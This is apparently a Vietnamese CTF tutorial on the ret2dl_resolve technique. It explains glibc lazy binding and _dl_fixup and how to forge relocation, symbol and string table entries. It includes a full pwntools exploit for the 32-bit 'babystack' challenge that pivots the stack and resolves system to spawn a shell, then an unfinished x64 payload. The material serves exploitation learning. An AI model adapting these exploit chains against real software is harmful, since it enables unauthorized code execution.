- gặp những chall ngỡ là BOF, không phải là heap - nhưng nó lạ lắm 🙃🙃🙃 - có thể những cách khai thác dưới đây sẽ có ích 🥵 ## ref - https://www.youtube.com/@JHTPwner - https://hackmd.io/@whoisthatguy - https://github.com/nhtri2003gmail - https://hackmd.io/@ChinoKafuu # RET2DL_RESOLVE - khi ta có thể overflow như bình thường nhưng không thể leak libc bằng cách GOT và PLT - và cũng không biết version libc - thì **ret2dl_resolve** là 1 kỹ thuật lấy shell khá nâng cao (PIE và Canary tắt) ## Overview - vì mục đích tối ưu hoá cho dù có mục nhập GOT entry cho mọi **function** trong libc thì trước khi thực hiện điều đó, sẽ gọi hàm ``_dl_runtime_resolve`` > hoặc được gọi là: (không rõ cái nào mới đúng mà cũng tựa tựa nhau) > ``_dl_runtime_resolve_fxsave`` > ``_dl_runtime_resolve_xsave`` > ``_dl_runtime_resolve_xsavec`` > hàm luôn được load vào các dynamic linker binary trong lúc thực thi - nó sẽ được gọi ở dạng ``_dl_runtime_resolve(link_map, reloc_arg)`` - ``link_map`` là hằng số toàn cục (global constant) - ``reloc_arg`` là offset tính từ ``.rel.plt`` section - cấu trúc ``Elf_Sym`` của offset đó sẽ bao gồm chuỗi chứa tên của hàm, sử dụng bởi ``_dl_fixup`` và được gọi bởi ``_dl_runtime_resolve`` ---> lấy địa chỉ hàm trong libc ---> insert vào GOT cho mục đích sử dụng sau này ### What happend? - do có hàm con được gọi đến trước khi xuất hiện GOT, ta hoàn toàn có thể fake struct ``Elf_Sym`` để trick ``_dl_runtime_resolve`` gọi đến hàm **system** - để có được điều đó, ta cần 2 yếu tố: - ``dl_fixup`` fake argument ``reloc_arg`` - fake các biến thành viên ``st_name`` trong cấu trúc ``Elf_Sym`` ## Lazy Binding Process - khi một chương trình được thực thi trong Linux, các liên kết động (dynamic linker) chỉ được gọi đến để tham chiếu các **symbols** trong libc khi cần thiết ---> tức là ban đầu rỗng, ==**chưa có gì hết nếu chưa được gọi đến**== ---> nói cách khác program sẽ hoàn toàn không biết được địa chỉ cụ thể của của một **function** đến khi nó thực sự được gọi đến - quá trình ``resolving symbols`` diễn ra trong lúc chạy, còn được gọi là **lazy binding** ![](https://hackmd.io/_uploads/B1DImsXs2.png) - Khi gọi hàm **read**: - [1] ``call read@plt <0x401030>`` - nhảy vào ``.plt`` của **read** - [2] ``jmp QWORD PTR [rip+0x...] # 0x404018 <read@got.plt>`` - nhảy vào một địa chỉ trong ``.got.plt`` - [3] ``0x401036 #not resolved`` - nếu địa chỉ này chưa resolved ---> trỏ ngược lại vào địa chỉ tiếp theo cần thực hiện trong ``.plt`` - nếu resolved rồi thì thực thi nó - [4] ``jmp 0x401020`` - nếu chưa resolved thì bước này là bước đi resolved - **resolved process** sẽ push 2 arguments lên stack : ``link_map`` và ``reloc_arg`` :::spoiler link_map ? - [``link map``](https://code.woboq.org/userspace/glibc/include/link.h.html#link_map) là nơi chứa các địa chỉ như ở hình ![](https://hackmd.io/_uploads/S1Q6vuHyp.png) > là một cấu trúc quan trọng chứa tất cả các loại thông tin về loaded shared object > linker tạo một danh sách liên kết ``link_map`` và mỗi ``link_map`` structure mô tả một shared object. ::: ## Analyse - ta sẽ thử source sau: ```c #include <stdio.h> int main(){ puts("Done"); } ``` > compile ``gcc a.c -no-pie -o a`` và dùng pwndbg phân tích - đi sâu vào ``<puts@plt>`` ![](https://hackmd.io/_uploads/B1zKa_Hy6.png) > thấy nó sẽ đi qua ``_dl_runtime_resolve_xsavec`` - dump hàm ``dl_runtime_resolve_xsavec`` ra ```pwndbg pwndbg> disas _dl_runtime_resolve_xsavec Dump of assembler code for function _dl_runtime_resolve_xsavec: 0x00007ffff7fd8d30 <+0>: endbr64 0x00007ffff7fd8d34 <+4>: push rbx 0x00007ffff7fd8d35 <+5>: mov rbx,rsp 0x00007ffff7fd8d38 <+8>: and rsp,0xffffffffffffffc0 0x00007ffff7fd8d3c <+12>: sub rsp,QWORD PTR [rip+0x23f4d] # 0x7ffff7ffcc90 <_rtld_global_ro+432> 0x00007ffff7fd8d43 <+19>: mov QWORD PTR [rsp],rax 0x00007ffff7fd8d47 <+23>: mov QWORD PTR [rsp+0x8],rcx 0x00007ffff7fd8d4c <+28>: mov QWORD PTR [rsp+0x10],rdx 0x00007ffff7fd8d51 <+33>: mov QWORD PTR [rsp+0x18],rsi 0x00007ffff7fd8d56 <+38>: mov QWORD PTR [rsp+0x20],rdi 0x00007ffff7fd8d5b <+43>: mov QWORD PTR [rsp+0x28],r8 0x00007ffff7fd8d60 <+48>: mov QWORD PTR [rsp+0x30],r9 0x00007ffff7fd8d65 <+53>: mov eax,0xee 0x00007ffff7fd8d6a <+58>: xor edx,edx 0x00007ffff7fd8d6c <+60>: mov QWORD PTR [rsp+0x250],rdx 0x00007ffff7fd8d74 <+68>: mov QWORD PTR [rsp+0x258],rdx 0x00007ffff7fd8d7c <+76>: mov QWORD PTR [rsp+0x260],rdx 0x00007ffff7fd8d84 <+84>: mov QWORD PTR [rsp+0x268],rdx 0x00007ffff7fd8d8c <+92>: mov QWORD PTR [rsp+0x270],rdx 0x00007ffff7fd8d94 <+100>: mov QWORD PTR [rsp+0x278],rdx 0x00007ffff7fd8d9c <+108>: xsavec [rsp+0x40] 0x00007ffff7fd8da1 <+113>: mov rsi,QWORD PTR [rbx+0x10] 0x00007ffff7fd8da5 <+117>: mov rdi,QWORD PTR [rbx+0x8] 0x00007ffff7fd8da9 <+121>: call 0x7ffff7fd5e70 <_dl_fixup> #hàm cần quan tâm 0x00007ffff7fd8dae <+126>: mov r11,rax 0x00007ffff7fd8db1 <+129>: mov eax,0xee 0x00007ffff7fd8db6 <+134>: xor edx,edx 0x00007ffff7fd8db8 <+136>: xrstor [rsp+0x40] 0x00007ffff7fd8dbd <+141>: mov r9,QWORD PTR [rsp+0x30] 0x00007ffff7fd8dc2 <+146>: mov r8,QWORD PTR [rsp+0x28] 0x00007ffff7fd8dc7 <+151>: mov rdi,QWORD PTR [rsp+0x20] 0x00007ffff7fd8dcc <+156>: mov rsi,QWORD PTR [rsp+0x18] 0x00007ffff7fd8dd1 <+161>: mov rdx,QWORD PTR [rsp+0x10] 0x00007ffff7fd8dd6 <+166>: mov rcx,QWORD PTR [rsp+0x8] 0x00007ffff7fd8ddb <+171>: mov rax,QWORD PTR [rsp] 0x00007ffff7fd8ddf <+175>: mov rsp,rbx 0x00007ffff7fd8de2 <+178>: mov rbx,QWORD PTR [rsp] 0x00007ffff7fd8de6 <+182>: add rsp,0x18 0x00007ffff7fd8dea <+186>: jmp r11 #giá trị trả về của _dl_fixup End of assembler dump. ``` ![](https://hackmd.io/_uploads/ryNUA_S1T.png) >$rdi -> link_map : 0x7ffff7ffe2e0 >$rsi -> relog_arg : 0 - khi đi sâu vào hàm ``_dl_fixup`` sẽ có gọi thêm 1 hàm khác ![](https://hackmd.io/_uploads/HJ2JXKSk6.png) >$rdi là 1 địa chỉ chứa chuỗi 'puts' (địa chỉ chứa tên của 1 hàm có nghĩa trong libc) - **NẾU** ta thay đổi giá trị này thành 1 con trỏ tới 1 chuỗi ký tự có tên khác như 'read', 'printf', ... thì địa chỉ trả về của hàm ``_dl_lookup_symbol_x`` sẽ là địa chỉ của hàm **read()**, **printf()** tương ứng - [xem source hàm ``_dl_fixup``](https://codebrowser.dev/glibc/glibc/elf/dl-runtime.c.html#41) ```c= _dl_fixup ( # ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS ELF_MACHINE_RUNTIME_FIXUP_ARGS, # endif struct link_map *l, ElfW(Word) reloc_arg) { const ElfW(Sym) *const symtab = (const void *) D_PTR (l, l_info[DT_SYMTAB]); const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]); const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset (pltgot, reloc_arg)); const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)]; const ElfW(Sym) *refsym = sym; void *const rel_addr = (void *)(l->l_addr + reloc->r_offset); lookup_t result; DL_FIXUP_VALUE_TYPE value; /* Sanity check that we're really looking at a PLT relocation. */ assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT); /* Look up the target symbol. If the normal lookup rules are not used don't look in the global scope. */ if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0) { const struct r_found_version *version = NULL; if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL) { const ElfW(Half) *vernum = (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]); ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff; version = &l->l_versions[ndx]; if (version->hash == 0) version = NULL; } /* We need to keep the scope around so do some locking. This is not necessary for objects which cannot be unloaded or when we are not using any threads (yet). */ int flags = DL_LOOKUP_ADD_DEPENDENCY; if (!RTLD_SINGLE_THREAD_P) { THREAD_GSCOPE_SET_FLAG (); flags |= DL_LOOKUP_GSCOPE_LOCK; } #ifdef RTLD_ENABLE_FOREIGN_CALL RTLD_ENABLE_FOREIGN_CALL; #endif result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL); /* We are done with the global scope. */ if (!RTLD_SINGLE_THREAD_P) THREAD_GSCOPE_RESET_FLAG (); #ifdef RTLD_FINALIZE_FOREIGN_CALL RTLD_FINALIZE_FOREIGN_CALL; #endif /* Currently result contains the base load address (or link map) of the object that defines sym. Now add in the symbol offset. */ value = DL_FIXUP_MAKE_VALUE (result, SYMBOL_ADDRESS (result, sym, false)); } else { /* We already found the symbol. The module (and therefore its load address) is also known. */ value = DL_FIXUP_MAKE_VALUE (l, SYMBOL_ADDRESS (l, sym, true)); result = l; } /* And now perhaps the relocation addend. */ value = elf_machine_plt_value (l, reloc, value); if (sym != NULL && __builtin_expect (ELFW(ST_TYPE) (sym->st_info) == STT_GNU_IFUNC, 0)) value = elf_ifunc_invoke (DL_FIXUP_VALUE_ADDR (value)); /* Finally, fix up the plt itself. */ if (__glibc_unlikely (GLRO(dl_bind_not))) return value; return elf_machine_fixup_plt (l, result, refsym, sym, reloc, rel_addr, value); } ``` ### Preliminary Remarks - ở dòng thứ 5, hàm kì vọng 2 arg ``` 5 | struct link_map *l, ElfW(Word) reloc_arg) ``` > những arg đó sẽ push lên trước khi ``_dl_fixup`` được gọi đến > ``link_map`` is an important structure > ``reloc_arg`` will be used to identify the corresponding ``Elf64_Rel`` entry in the **JMPREL** section. - ở dòng 7 và 8, ``symtab`` và ``strtab`` được lấy từ ``link_map`` địa chỉ của **SYMTAB** and **STRTAB**: ``` 7 | const ElfW(Sym) *const symtab = (const void *) D_PTR (l, l_info[DT_SYMTAB]); 8 | const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]); ``` - ``l_info`` ở địa chỉ ``(address of link_map) + 0x40`` - [DT_SYMTAB](https://codebrowser.dev/glibc/glibc/elf/elf.h.html#860), [DT_STRTAB](https://codebrowser.dev/glibc/glibc/elf/elf.h.html#861) và [D_PTR](https://codebrowser.dev/glibc/glibc/elf/elf.h.html#89) được định nghĩa như sau: ```c # define DT_STRTAB 5 # define DT_SYMTAB 6 # define D_PTR(map, i) ((map)->i->d_un.d_ptr + (map)->l_addr) // if the dynamic section is read only # define D_PTR(map, i) (map)->i->d_un.d_ptr // otherwise ``` - ``d_ptr`` value trong ``Elf64_Dyn`` structure tương ứng trong DYNAMIC section ```c typedef struct{ Elf64_Sxword d_tag; /* Dynamic entry type */ union { Elf64_Xword d_val; /* Integer value */ Elf64_Addr d_ptr; /* Address value */ } d_un; } Elf64_Dyn; ``` - tổng thể: ``l->l_info[5]->d_un.d_ptr`` là ``l_info[DT_STRTAB]`` ## Target ret2dl_resolve :::info 🎯 fake argument ``reloc_arg`` 🎯 fake 3 sections ``STRTAB`` , ``SYMTAB`` và ``JMPREL`` 🆘 để fake đúng, ta cần tính offset **CHUẨN** 🆘 3 addr cần fake thường nằm ở phân vùng .bss hoặc heap 🆘 bắt buộc phải controlled hoàn toàn những địa chỉ trên ::: ## STRTAB (string table) - ``STRTAB`` chỉ là nơi chứa các strings (tên hàm trong libc) - examble: ![](https://hackmd.io/_uploads/By_eqKH1T.png) >0x400430 là STRTAB (dùng ``readelf`` dump ra) ```c const char *strtab = (const void *) D_PTR(l, l_info[DT_STRTAB]); ``` :::success 📝Target của mình là ghi 'system\0' (null terminated string) vào 1 địa chỉ trong đó ::: ## SYMTAB (symbol table) - table giữ thông tin liên quan đến symbol - [xem source](https://codebrowser.dev/glibc/glibc/elf/elf.h.html#515) ### x86 (32 bit) ```c typedef uint16_t Elf32_Half; // 2 bytes typedef uint32_t Elf32_Word; // 4 bytes typedef uint32_t Elf32_Addr; // 4 bytes typedef struct { Elf32_Word st_name; /* Symbol name, index in string table (4 bytes)*/ Elf32_Addr st_value; /* Value of the symbol (4 bytes) */ Elf32_Word st_size; /* Associated symbol size (4 bytes) */ unsigned char st_info; /* Type and binding attributes (1 bytes) */ unsigned char st_other; /* No defined meaning, 0 (1 bytes) */ Elf32_Section st_shndx; /* Associated section index (2 bytes) */ } Elf32_Sym; ``` ### x86_64 (64 bit) ```c typedef uint16_t Elf64_Half; // 2 bytes typedef uint32_t Elf64_Word; // 4 bytes typedef uint64_t Elf64_Addr; // 8 bytes typedef uint64_t Elf64_Xword; // 8 bytes typedef struct { Elf64_Word st_name; /* Symbol name, index in string table (4 bytes)*/ unsigned char st_info; /* Type and binding attributes (1 bytes) */ unsigned char st_other; /* No defined meaning, 0 (1 bytes) */ Elf64_Section st_shndx; /* Associated section index (2 bytes) */ Elf64_Addr st_value; /* Value of the symbol (8 bytes) */ Elf64_Xword st_size; /* Associated symbol size (8 bytes) */ } Elf64_Sym; ``` ### How? ```c const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)] //which is the same as: const ElfW(Sym) *sym = &symtab[(reloc->r_info) >> 8] // also the same as: *sym = SYMTAB + index *sizeof(sym) // index = (reloc->r_info) >> 8 ------------------------------------------------- const ElfW(Sym) *const symtab = (const void *) D_PTR (l, l_info[DT_SYMTAB]) // l ở đây là link_map --------------------SYMTAB----------------------- ``` ### Compare ``` st_name : xác định vị trí chuỗi chính xác trong phần STRTAB st_info : chứa các thuộc tính ràng buộc và loại của symbol st_other : chứa symbol's visibility st_shndx : chứa chỉ mục header có liên quan st_value : chứa giá trị st_size : chứa kích thước của symbol (no size or size undefined ---> set = 0 ) ``` - x32 và x64 khác mỗi size và value, còn lại tương tự - ta sẽ quan tâm đến 2 thứ: - ``st_other`` : = 0 ( **bắt buộc** ) - ``st_name`` : = offset_string ( đến chuỗi 'system\0' ) ### Examble (for x64 bits): ![](https://hackmd.io/_uploads/B1MB1SI1a.png) > ảnh mẫu ```pwngdb pwndbg> x/3xg 0x4002c0 + 1 * 24 0x4002d8: 0x000000120000001a 0x0000000000000000 0x4002e8: 0x0000000000000000 ``` >the size for each struct ``Elf64_Sym`` is also 24 bytes (3 * 0x8) - 8 bytes đầu tiên gồm ``st_name`` (0x0000001a), ``st_info`` (0x12), ``st_other`` (0x00) and ``st_shndx`` (0x0000) - 8 bytes kế là ``st_value`` (0x0000000000000000) - và 8 bytes cuối là ``st_size`` (0x0000000000000000) :::success 📝 formula: ``(fake_SYMTAB) = (SYMTAB) + (symbol_number) * 24`` ::: ## JMPREL (.rel.plt) - **JMPREL** segment lưu trữ table gọi là ``Relocation table`` - mỗi entry maps là một symbol. ```bash # readelf -r ./babystack Relocation section '.rel.dyn' at offset 0x2a8 contains 1 entries: Offset Info Type Sym.Value Sym. Name 08049ffc 00000306 R_386_GLOB_DAT 00000000 __gmon_start__ Relocation section '.rel.plt' at offset 0x2b0 contains 3 entries: Offset Info Type Sym.Value Sym. Name 0804a00c 00000107 R_386_JUMP_SLOT 00000000 read@GLIBC_2.0 0804a010 00000207 R_386_JUMP_SLOT 00000000 alarm@GLIBC_2.0 0804a014 00000407 R_386_JUMP_SLOT 00000000 __libc_start_main@GLIBC_2.0 ``` - [xem source](https://codebrowser.dev/glibc/glibc/elf/elf.h.html#630) ### x86 (32 bits) ```c typedef uint32_t Elf32_Addr; // 4 bytes typedef uint32_t Elf32_Word; // 4 bytes typedef struct { Elf32_Addr r_offset; /* Address */ Elf32_Word r_info; /* Relocation type and symbol index */ } Elf32_Rel; #define ELF32_R_SYM(val) ((val) >> 8) #define ELF32_R_TYPE(val) ((val) & 0xff) ``` ### x86_64(64 bits) ```c typedef uint64_t Elf64_Addr; // 8 bytes typedef uint64_t Elf64_Xword; // 8 bytes typedef struct { Elf64_Addr r_offset; /* Address */ Elf64_Xword r_info; /* Relocation type and symbol index */ } Elf64_Rel; ``` ### How? ```c void *const rel_addr = (void *)(l->l_addr + reloc->r_offset); const PLTREL *const reloc = (const void *) (D_PTR(l, l_info[DT_JMPREL]) + reloc_offet); // the same as: reloc = JMPREL + reloc_offset // also: reloc_offset = reloc_arg //x32 reloc_offset = reloc_arg *0x18 //x64 ``` ### Compare ``` rel_addr : là một pointer tới vị trí resolved libc address r_offset : chứa vị trí nơi địa chỉ của resolved symbol sẽ được lưu trữ (trong GOT). r_info : cho biết relocation type và symbol table index ``` - x32 và x64 khác nhau về lượng byte ### Examble (for x64 bits) ![](https://hackmd.io/_uploads/SyVJ7rLyT.png) >ảnh mẫu ```pwndbg pwndbg> x/3xg 0x400498 + 0 * 24 0x400498: 0x0000000000601018 0x0000000100000007 0x4004a8: 0x0000000000000000 ``` - 8 bytes đầu tiên là ``r_offset`` (0x0000000000601018) > which is the GOT of ``__stack_chk_fail@GLIBC_2.4`` ```pwndbg pwndbg> x/2i 0x0000000000601018 0x601018 <__stack_chk_fail@got.plt>: es add eax,0x40 0x60101e <__stack_chk_fail@got.plt+6>: add BYTE PTR [rax],al ``` - 8 bytes tiếp theo là ``r_info`` (0x0000000100000007) > which saves its type and symbol number (which will be used to calculate SYMTAB address) ```c # define R_X86_64_JUMP_SLOT 7 # define ELF64_R_SYM(i) ((i) >> 32) # define ELF64_R_TYPE(i) ((i) & 0xffffffff) ``` - nói cho dễ hiểu, python formular để lấy **symbol number** và **type** là : ```python symbol_number = r_info >> 32 type = r_info & 0xffffffff ``` - với ``r_info`` ở trên (0x0000000100000007), **symbol address** và **type** có thể tính toán như sau: ```python symbol_number = 0x0000000100000007 >> 32 = 1 type = 0x0000000100000007 & 0xffffffff = 7 = R_X86_64_JUMP_SLOT ``` :::success 📝 formula: ``(fake_JMPREL) = (JMPREL) + (reloc_arg) * 24`` ::: ## Summary - Get **JMPREL_addr**: >pwndbg> x/3xg (JMPREL) + (reloc_arg) * 24 >symbol_number = r_info >> 32 >type = r_info & 0xffffffff - Get **SYMTAB_addr**: >pwndbg> x/3xg (SYMTAB) + (symbol_number) * 24 - Get **STRTAB_addr**: >pwndbg> x/s (STRTAB) + (st_name) ## Exploit - quick recap: - 1. push ``linkmap``, ``reloc_arg`` call ``_dl_fixup(link_map, reloc_arg)`` - 2. get **SYMTAB** addr ``const PLTREL *const reloc = (const void *) (JMPREL + reloc_offset);`` - 3. get **STRTAB** addr ``const ElfW(Sym) *sym = &symtab[reloc->r_info >> 32];`` - 4. sanity check ``assert ((reloc->r_info & 0xffffffff) == 0x7);`` - 5. check resolved or not (need ``st_other`` = 0) ``if (__builtin_expect ((sym->st_other & 0x03), 0) == 0)`` - 6. check version symbol ``if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)`` - 7. check loaded objects’ symbol tables ``result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL);`` kiểm tra ``strtab + sym->st_name`` rồi return ``link_map``, ``l_addr`` point libc_base - 8. find offset function and relocates it ``value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value);`` - 9. ghi địa chỉ của resolved symbol ở vị trí trỏ bởi ``rel_addr`` (trong GOT) ``return elf_machine_fixup_plt (l, result, refsym, sym, reloc, rel_addr, value);`` - step by step: 1. find 3 addr can controlled (``addr1``, ``addr2`` and ``addr3``) 2. fake ``ELF32_Rela/ELF64_Rela`` struct for ``addr1`` - ``reloc_arg`` = ``addr1`` - **JMPREL** (x32) - ``reloc_arg`` = ( ``addr1`` - **JMPREL** ) / 24 (x64) - ``r_info`` = ( ( ``addr2`` - **SYMTAB** ) / 16 ) << 8 ) | 7 (x32) - ``r_info`` = ( **symbol_number** << 32 ) | 7 (x64) - ``addr1`` chunk : [GOT, r_info] 3. fake ``ELF32_Sym / ELF64_Sym`` struct for ``addr2`` - ``st_name`` = ``addr3`` - **STRTAB** - ``st_value``, ``st_size``, ``st_info``, ``st_other``, ``st_shndx`` = 0 4. write ``system`` vào ``addr3`` ### Fake **relog_arg** - địa chỉ fake ``Elf64_Sym``, ta sẽ chọn địa chỉ mà ta lấy ``symbol_number`` là một số nguyên, không phải số float ```python Address_of_Elf64_Sym = SYMTAB + symbol_number * 24 <=> symbol_number = (Address_of_Elf64_Sym - SYMTAB) / 24 ``` - tương tự với ``relog_arg`` ```python Address_of_Elf64_Rela = JMPREL + reloc_arg * 24 <=> reloc_arg = (Address_of_Elf64_Rela - JMPREL) / 24 ``` - với ``addr`` ta tìm được, tính đến ``st_name`` ```python STRTAB_addr = 0x400000 # For example st_name = STRTAB_addr - STRTAB ``` - struct: ```pwndbg pwndbg> # x/3xg SYMTAB + (r_info >> 32)*24 pwndbg> x/3xg 0x4002c0 + (0x0000000100000007 >> 32)*24 0x4002d8: 0x000000120000001a 0x0000000000000000 0x4002e8: 0x0000000000000000 ``` - content: ```python st_name = p32(0x1a) (4 bytes)# 0000001a st_info = p8(12) (1 byte) # 12 st_other = p8(0) (1 byte) # 00 st_shndx = p16(0) (2 bytes)# 0x0000 st_value = p64(0) st_size = p64(0) ``` ### Fake **link_map** - ta cần phải fake ``DT_STRTAB`` của ``link_map`` để nó trỏ đến string ta cần ```pwndbg pwndbg> # 0x400530 <memset@plt> pwndbg> x/3i 0x400530 0x400530 <memset@plt>: jmp QWORD PTR [rip+0x200aea] # 0x601020 <memset@got.plt> 0x400536 <memset@plt+6>: push 0x1 # reloc_arg 0x40053b <memset@plt+11>: jmp 0x400510 # dlresolver pwndbg> # x/2i (dlresolver) pwndbg> x/2i 0x400510 0x400510: push QWORD PTR [rip+0x200af2] # 0x601008 (pointer of link_map) 0x400516: jmp QWORD PTR [rip+0x200af4] # 0x601010 (pointer of _dl_runtime_resolve_xsavec) pwndbg> # x/xg (pointer of link_map) pwndbg> x/xg 0x601008 0x601008: 0x00007ffff7ffe180 pwndbg> # x/32xg (link_map) pwndbg> x/16xg 0x00007ffff7ffe180 0x7ffff7ffe180: 0x0000000000000000 0x00007ffff7ffe720 <-- l_addr l_name 0x7ffff7ffe190: 0x0000000000600e20 0x00007ffff7ffe730 <-- l_ld l_next 0x7ffff7ffe1a0: 0x0000000000000000 0x00007ffff7ffe180 <-- l_prev l_real 0x7ffff7ffe1b0: 0x0000000000000000 0x00007ffff7ffe708 <-- l_ns l_libname 0x7ffff7ffe1c0: 0x0000000000000000 0x0000000000600e20 <-- l_info[0] l_info[1] 0x7ffff7ffe1d0: 0x0000000000600f00 0x0000000000600ef0 <-- l_info[2] l_info[3] 0x7ffff7ffe1e0: 0x0000000000000000 0x0000000000600ea0 <-- l_info[4] l_info[DT_STRTAB] 0x7ffff7ffe1f0: 0x0000000000600eb0 0x0000000000600f30 <-- l_info[DT_SYMTAB] l_info[7] ``` - mục tiêu là thay đổi giá trị tại ``DT_STRTAB`` index (từ ``0x0000000000600ea0`` đến địa chỉ ta cần) - các giá trị trước ``l_info[DT_STRTAB]`` ta có thể để NULL > vì ``_dl_fixup`` sẽ dùng ``l_addr`` và ``l_info`` để resolve nhưng ta có thể thấy ``l_addr`` đã NULL sẵn ---> chỉ cần ghi NULL tiếp đến khi gặp ``l_info[DT_STRTAB]`` - fake ``l_info[DT_STRTAB]`` với biến global ```python buf_addr = 0x601080 # global variable address DT_STRTAB_addr = buf_addr + 0x8 DT_STRTAB_struct = p64(0x5) DT_STRTAB_struct += p64(buf_addr + 0x18 - 0x37) # STRTAB_addr - st_name STRTAB_addr = buf_addr + 0x18 STRTAB_struct = b'system\x00\x00' ``` - sau khi nhập giá trị biến **buf**, nó tiếp tục **memset()** lần nữa ---> fake **memset()** thành **system()** ===> cần chuỗi '/bin/sh\0' đầu biến **buf** nên khi resolve -> thực thi **system('/bin/sh\0')** ```python buf_data = b'/bin/sh\x00' buf_data += DT_STRTAB_struct buf_data += STRTAB_struct ``` ## DEMO - nhìn đống bên trên có vẻ nhức đầu đúng không - qua DEMO bên dưới sẽ dễ nhớ công thức hơn nha ### x32 - [chall](https://www.da.vidbuchanan.co.uk/blog/static/babystack.tar.gz) sẽ lấy làm demo (x32) ==lưu ý cách khai thác trên file 32 sẽ khác file 64== - basic file check ![](https://hackmd.io/_uploads/HkLqs1veT.png) - check ida ![](https://hackmd.io/_uploads/HJkj-xwla.png) > lược qua hàm **main()** vì đây là hàm chính để khai thác - sơ bộ tổng thể chương tình chỉ có 1 function duy nhất là **read()**, ngoài ra cũng có BOF - note lại các địa chỉ cần thiết ![](https://hackmd.io/_uploads/HyXnMlvla.png) >SYMTAB = 0x080481cc >STRTAB = 0x0804822c >JMPREL = 0x080482b0 - bước đầu tiên ta cần pivot stack ```python addr1 = 0x804af00 #.bss payload = b'a'*40 #padding payload += p32(addr1) #ebp payload += p32(exe.plt['read']) #call plt read payload += p32(leave_ret) #push + pop #setup read(0, add1, 0x100) payload += p32(0) payload += p32(addr1) payload += p32(0x100) p.send(payload) ``` - khi đang chờ để nhập payload lần 2, ta tạm thời k rõ offset nên trước mắt sẽ cộng cho 1 số 'X' - sau khi vào ``_dl_runtime_resolve`` sẽ tính tiếp - tính : ``reloc_args = addr1 - JMPREL`` - tính ``r_info`` theo công thức trên > r_info = addr2 - SYMTAB // 16 > r_info = (r_info << 8) | 0x7 - sau khi thực hiện hàm **read()** sẽ ``leave_ret`` 1 lần nữa - tức khi return địa chỉ hiện tại là addr1 + 0x8 - để thoả mãn ``_dl_runtime_resolve`` chứa 2 arg, nó sẽ push ``link_map`` và ``relog_arg`` lên - như vậy tại $esp-0x4 sẽ là ``link_map`` > ``link_map`` là địa chỉ này > ![](https://hackmd.io/_uploads/Hk5eT1wz6.png) > 0x080482f0 - tiếp theo là ``relog_arg`` - add1 hiện tại là f00, esp là f08 - túm cái váy cho payload lần 2: - gửi tiếp relog_arg #f08 - gửi SYMTAB #f0c - gửi STRTAB #f10 - gửi 1 struct cho ELF32_rela #f14 - gửi 1 struct cho ELF32_sym #f1c - gửi 'system' -> addr3 #f2c - tiếp tục tính lại 3 địa chỉ: - addr1 += 0x14 - addr2 = 0x804af1c - addr3 = 0x804af2c -> st_name = addr3 - STRTAB ``` push reloc_arg, linkmap get SYMTAB address get STRTAB address get a ptr to ELF32_Rela / ELF64_Rela struct get a ptr to ELF32_Sym / ELF64_Sym struct check r_info ending with 0x7 check st_other == 0 or not do some stuff to check the version get the address from glibc base on STRTAB + st_name ``` ![](https://hackmd.io/_uploads/BkW7kQPxa.png) - script ```python #!/usr/bin/python3 from pwn import * context.binary = exe = ELF('./babystack',checksec=False) p = process(exe.path) SYMTAB = 0x080481cc STRTAB = 0x0804822c JMPREL = 0x080482b0 leave_ret = 0x08048455 # gdb.attach(p,gdbscript=''' # b*0x804844c # b*0x8048451 # c # ''') # input() addr1 = 0x804af00 #.bss payload = b'a'*40 #padding payload += p32(addr1) #ebp payload += p32(exe.plt['read']) #call plt read payload += p32(leave_ret) #push + pop #setup read(0, add1, 0x100) payload += p32(0) payload += p32(addr1) payload += p32(0x100) p.send(payload) sleep(1) addr1 += 0x14 reloc_args = addr1 - JMPREL log.info('fake ELF32_RELA addr1 : ' + hex(addr1)) log.info('reloc_args: ' + hex(reloc_args)) addr2 = 0x804af1c log.info('fake ELF32_SYM addr2 : ' + hex(addr2)) r_info = (addr2 - SYMTAB) // 16 r_info = (r_info << 8) | 0x7 log.info("r_info : " + hex(r_info)) link_map = 0x80482f0 st_name = 0x0804af2c - STRTAB payload = b'a'*4 #padding payload += p32(link_map) payload += p32(reloc_args) #f08 payload += b'sh\x00\x00' #SYMTAB #f0c payload += p32(0x0804af0c) #STRTAB #f10 payload += p32(exe.got['read']) #f14 #fake ELF32_rela #r_offset(GOT) payload += p32(r_info) #f18 #r_info payload += p32(st_name) #f1c #fake ELF32_sym #st_name payload += p32(0) #f20 #st_value payload += p32(0) #f24 #st_size payload += p32(0) #f28 #st_info(1) + st_other(1) + st_shndx(2) payload += b'system\0' #f2c #addr3 p.send(payload) p.interactive() ``` ### x64 - sẽ đi nhanh ở x64 do x32 đã DEMO gần hết - payload mẫu cho stack pivot ```python payload = b"a"*64 #padding payload += p64(rw_section) #rbp payload += p64(pop_rsi_r15) + p64(rw_section) + p64(0) payload += p64(exe.plt['read']) payload += p64(leave_ret) ``` - setup structure ```python SYMTAB_addr = 0x404a40 JMPREL_addr = 0x404a68 STRTAB_addr = 0x404a78 # 3 fake_addr trên mình sẽ DEBUG liên tục mà thay đổi # chứ không phải chọn đại đâu nha # còn các gtri dưới đây là công thức symbol_number = int((SYMTAB_addr - SYMTAB)/24) reloc_arg = int((JMPREL_addr - JMPREL)/24) st_name = STRTAB_addr - STRTAB log.info("symbol_number: " + hex(symbol_number)) log.info("reloc_arg: " + hex(reloc_arg)) log.info("st_name: " + hex(st_name)) st_info = 0x12 st_other = 0 st_shndx = 0 st_value = 0 st_size = 0 SYMTAB_struct = p32(st_name) SYMTAB_struct += p8(st_info) SYMTAB_struct += p8(st_other) SYMTAB_struct += p16(st_shndx) SYMTAB_struct += 